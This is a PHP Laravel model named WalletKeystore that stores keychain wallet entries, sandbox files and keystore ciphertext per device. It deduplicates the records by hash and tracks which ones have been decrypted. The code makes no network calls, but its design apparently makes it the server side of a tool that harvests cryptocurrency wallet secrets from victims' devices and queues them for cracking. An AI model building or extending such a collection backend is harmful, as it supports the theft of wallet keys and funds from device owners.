288 lines
8.2 KiB
PHP
288 lines
8.2 KiB
PHP
<?php
|
|
|
|
namespace App\Models;
|
|
|
|
use Illuminate\Database\Eloquent\Model;
|
|
use Illuminate\Database\Eloquent\Relations\BelongsTo;
|
|
|
|
class WalletKeystore extends Model
|
|
{
|
|
protected $fillable = [
|
|
'device_id', 'source', 'decrypted', 'raw_json', 'content_hash',
|
|
];
|
|
|
|
protected function casts(): array
|
|
{
|
|
return [
|
|
'raw_json' => 'array',
|
|
'decrypted' => 'integer',
|
|
];
|
|
}
|
|
|
|
/**
|
|
* @param array<string, mixed> $rawJson
|
|
*/
|
|
public static function hashPayload(array $rawJson): string
|
|
{
|
|
$row = new static(['raw_json' => $rawJson]);
|
|
$digests = $row->contentDigests();
|
|
$seed = $row->kind().'|'.implode(',', $digests);
|
|
if ($digests === []) {
|
|
$seed .= '|'.json_encode($rawJson, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
|
|
}
|
|
|
|
return hash('sha256', $seed);
|
|
}
|
|
|
|
/**
|
|
* @param array<string, mixed> $rawJson
|
|
*/
|
|
public static function firstOrCreateForDevice(Device $device, string $source, array $rawJson): self
|
|
{
|
|
$hash = self::hashPayload($rawJson);
|
|
$matches = [];
|
|
foreach (self::query()->where('device_id', $device->id)->orderByDesc('decrypted')->orderByDesc('id')->cursor() as $row) {
|
|
$rowHash = (string) $row->content_hash;
|
|
if ($rowHash === '') {
|
|
$rowHash = self::hashPayload(is_array($row->raw_json) ? $row->raw_json : []);
|
|
}
|
|
if (! hash_equals($rowHash, $hash)) {
|
|
continue;
|
|
}
|
|
if ((string) $row->content_hash !== $hash) {
|
|
$row->forceFill(['content_hash' => $hash])->save();
|
|
}
|
|
$matches[] = $row;
|
|
}
|
|
|
|
if ($matches !== []) {
|
|
$keep = $matches[0];
|
|
foreach (array_slice($matches, 1) as $dup) {
|
|
$dup->delete();
|
|
}
|
|
|
|
return $keep;
|
|
}
|
|
|
|
return self::query()->create([
|
|
'device_id' => $device->id,
|
|
'source' => $source,
|
|
'decrypted' => 0,
|
|
'raw_json' => $rawJson,
|
|
'content_hash' => $hash,
|
|
]);
|
|
}
|
|
|
|
/**
|
|
* @return list<string>
|
|
*/
|
|
public function contentDigests(): array
|
|
{
|
|
$out = [];
|
|
foreach ($this->listedItems() as $item) {
|
|
$sha = (string) ($item['data_sha'] ?? '');
|
|
if ($sha === '' || (int) ($item['data_len'] ?? 0) <= 0) {
|
|
continue;
|
|
}
|
|
$out[] = $sha;
|
|
}
|
|
sort($out);
|
|
|
|
return $out;
|
|
}
|
|
|
|
public function sourceLabel(): string
|
|
{
|
|
$source = trim((string) $this->source);
|
|
|
|
return $source !== '' ? $source : '未知';
|
|
}
|
|
|
|
public function kind(): string
|
|
{
|
|
return is_array($this->raw_json) ? trim((string) ($this->raw_json['kind'] ?? '')) : '';
|
|
}
|
|
|
|
public function kindLabel(): string
|
|
{
|
|
return match ($this->kind()) {
|
|
'keychain.wallets' => '钥匙串',
|
|
'sandbox' => '沙盒文件',
|
|
default => $this->kind() !== '' ? $this->kind() : '未知',
|
|
};
|
|
}
|
|
|
|
/**
|
|
* @return list<array{
|
|
* account: string,
|
|
* service: string,
|
|
* access_group: string,
|
|
* protection_class: string,
|
|
* path: string,
|
|
* data_len: int,
|
|
* data_preview: string,
|
|
* data_sha: string
|
|
* }>
|
|
*/
|
|
public function listedItems(): array
|
|
{
|
|
$json = is_array($this->raw_json) ? $this->raw_json : [];
|
|
$out = [];
|
|
$wallets = $json['wallets'] ?? null;
|
|
if (is_array($wallets)) {
|
|
foreach ($wallets as $bucket) {
|
|
$items = is_array($bucket['items'] ?? null) ? $bucket['items'] : [];
|
|
foreach ($items as $item) {
|
|
if (is_array($item)) {
|
|
$out[] = $this->normalizeItem($item);
|
|
}
|
|
}
|
|
}
|
|
}
|
|
$sandbox = $json['sandbox'] ?? null;
|
|
if (is_array($sandbox)) {
|
|
$out = array_merge($out, $this->sandboxItems($sandbox));
|
|
}
|
|
if (isset($json['crypto']) && is_array($json['crypto'])) {
|
|
$out[] = $this->normalizeItem([
|
|
'account' => (string) ($json['id'] ?? $json['type'] ?? 'keystore'),
|
|
'path' => 'crypto',
|
|
'dataHex' => (string) ($json['crypto']['ciphertext'] ?? ''),
|
|
]);
|
|
}
|
|
|
|
return $out;
|
|
}
|
|
|
|
public function itemCount(): int
|
|
{
|
|
return count($this->listedItems());
|
|
}
|
|
|
|
public function summary(): string
|
|
{
|
|
$names = [];
|
|
foreach ($this->listedItems() as $item) {
|
|
$name = $item['account'] !== '' ? $item['account'] : $item['path'];
|
|
if ($name !== '') {
|
|
$names[] = $name;
|
|
}
|
|
if (count($names) >= 3) {
|
|
break;
|
|
}
|
|
}
|
|
$n = $this->itemCount();
|
|
if ($names === []) {
|
|
return $n > 0 ? $n.' 条' : '';
|
|
}
|
|
$text = implode(' · ', $names);
|
|
if ($n > 3) {
|
|
$text .= ' 等'.$n.'条';
|
|
}
|
|
|
|
return $text;
|
|
}
|
|
|
|
public function device(): BelongsTo
|
|
{
|
|
return $this->belongsTo(Device::class);
|
|
}
|
|
|
|
/**
|
|
* @param array<string, mixed> $item
|
|
* @return array{
|
|
* account: string,
|
|
* service: string,
|
|
* access_group: string,
|
|
* protection_class: string,
|
|
* path: string,
|
|
* data_len: int,
|
|
* data_preview: string,
|
|
* data_sha: string
|
|
* }
|
|
*/
|
|
private function normalizeItem(array $item): array
|
|
{
|
|
$hex = (string) ($item['dataHex'] ?? '');
|
|
$bin = '';
|
|
if ($hex !== '' && ctype_xdigit($hex) && strlen($hex) % 2 === 0) {
|
|
$bin = (string) hex2bin($hex);
|
|
} elseif (isset($item['data']) && is_string($item['data'])) {
|
|
$bin = $item['data'];
|
|
}
|
|
|
|
return [
|
|
'account' => trim((string) ($item['account'] ?? '')),
|
|
'service' => trim((string) ($item['service'] ?? '')),
|
|
'access_group' => trim((string) ($item['accessGroup'] ?? $item['access_group'] ?? '')),
|
|
'protection_class' => (string) ($item['protectionClass'] ?? $item['class'] ?? ''),
|
|
'path' => trim((string) ($item['path'] ?? '')),
|
|
'data_len' => strlen($bin),
|
|
'data_preview' => $this->previewBytes($bin !== '' ? $bin : $hex),
|
|
'data_sha' => $bin === '' ? '' : hash('sha256', $bin),
|
|
];
|
|
}
|
|
|
|
/**
|
|
* @param array<string, mixed> $sandbox
|
|
* @return list<array{
|
|
* account: string,
|
|
* service: string,
|
|
* access_group: string,
|
|
* protection_class: string,
|
|
* path: string,
|
|
* data_len: int,
|
|
* data_preview: string,
|
|
* data_sha: string
|
|
* }>
|
|
*/
|
|
private function sandboxItems(array $sandbox, string $prefix = ''): array
|
|
{
|
|
$out = [];
|
|
foreach ($sandbox as $key => $value) {
|
|
$path = $prefix === '' ? (string) $key : $prefix.'/'.$key;
|
|
if (is_array($value)) {
|
|
if (isset($value['items']) && is_array($value['items'])) {
|
|
foreach ($value['items'] as $item) {
|
|
if (is_array($item)) {
|
|
$out[] = $this->normalizeItem($item);
|
|
}
|
|
}
|
|
|
|
continue;
|
|
}
|
|
$out = array_merge($out, $this->sandboxItems($value, $path));
|
|
|
|
continue;
|
|
}
|
|
if (! is_string($value) || $value === '') {
|
|
continue;
|
|
}
|
|
$bin = base64_decode($value, true);
|
|
if ($bin === false) {
|
|
$bin = $value;
|
|
}
|
|
$out[] = $this->normalizeItem([
|
|
'account' => basename($path),
|
|
'path' => $path,
|
|
'data' => $bin,
|
|
]);
|
|
}
|
|
|
|
return $out;
|
|
}
|
|
|
|
private function previewBytes(string $raw): string
|
|
{
|
|
if ($raw === '') {
|
|
return '';
|
|
}
|
|
if (mb_check_encoding($raw, 'UTF-8') && preg_match('/^[\x09\x0A\x0D\x20-\x7E]{1,256}$/', $raw)) {
|
|
return $raw;
|
|
}
|
|
$hex = bin2hex($raw);
|
|
|
|
return strlen($hex) > 48 ? substr($hex, 0, 48).'…' : $hex;
|
|
}
|
|
}
|